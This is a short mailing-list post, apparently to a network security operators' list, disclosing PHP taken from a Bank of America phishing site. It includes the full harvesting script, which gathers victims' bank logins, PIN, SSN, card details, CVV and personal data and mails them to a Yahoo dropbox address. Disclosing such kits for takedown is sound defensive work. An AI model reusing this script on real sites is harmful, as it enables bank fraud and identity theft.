[nsp-sec] another yahoo.com phish dropbox

[Jon Lewis]

Pulled from yet another phishing site.

$message .= "--------------Bank Of America Spam ReZulT-----------------------\n";
$message .= "Account Opened in : ".$_POST['account_state']."\n";
$message .= "Online ID : ".$_POST['online_id']."\n";
$message .= "Passcode : ".$_POST['passcode']."\n";
$message .= "ATM PIN : ".$_POST['pin']."\n";
$message .= "SSN : ".$_POST['ssn']."\n";
$message .= "Bank Account Number : ".$_POST['ban']."\n";
$message .= "Bank Routing Number : ".$_POST['brn']."\n";
$message .= "Last Eight ATM Digits : ".$_POST['atm']."\n";
$message .= "Email Address : ".$_POST['email']."\n";
$message .= "Card Holder Name: ".$_POST['cardname']."\n";
$message .= "Address 1 : ".$_POST['address1']."\n";
$message .= "Address 2 : ".$_POST['address2']."\n";
$message .= "City : ".$_POST['city']."\n";
$message .= "State : ".$_POST['state']."\n";
$message .= "Zip Code : ".$_POST['zip']."\n";
$message .= "Phone Number : ".$_POST['phone']."\n";
$message .= "Creditcard Number: ".$_POST['ccnumber']."\n";
$message .= "Exp Month : ".$_POST['mexpcc']."\n";
$message .= "Exp Year : ".$_POST['yexpcc']."\n";
$message .= "Cvv : ".$_POST['cvv']."\n";
$message .= "Mothers Maiden Name : ".$_POST['mmn']."\n";
$message .= "Mothers Middles Name : ".$_POST['mmm']."\n";
$message .= "Fathers Maiden Name : ".$_POST['fmn']."\n";
$message .= "Fathers Middles Name : ".$_POST['fmm']."\n";
$message .= "Date Of Birth : ".$_POST['dob']."\n";
$message .= "IP: ".$ip."\n";
$message .= "---------------Created By DiVaBoY------------------------------\n";

$recipient = "diverszaq at yahoo.com";
$subject = "Bank Of America ReZulT";
$headers = "From";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";

if (mail($recipient,$subject,$message,$headers))
            {
                    header("Location: index2.htm");

            }
else
            {
                 echo "ERROR! Please go back and try again.";
            }

----------------------------------------------------------------------
  Jon Lewis                   |  I route
  Senior Network Engineer     |  therefore you are
  Atlantic Net                |
_________ http://www.lewis.org/~jlewis/pgp for PGP public key_________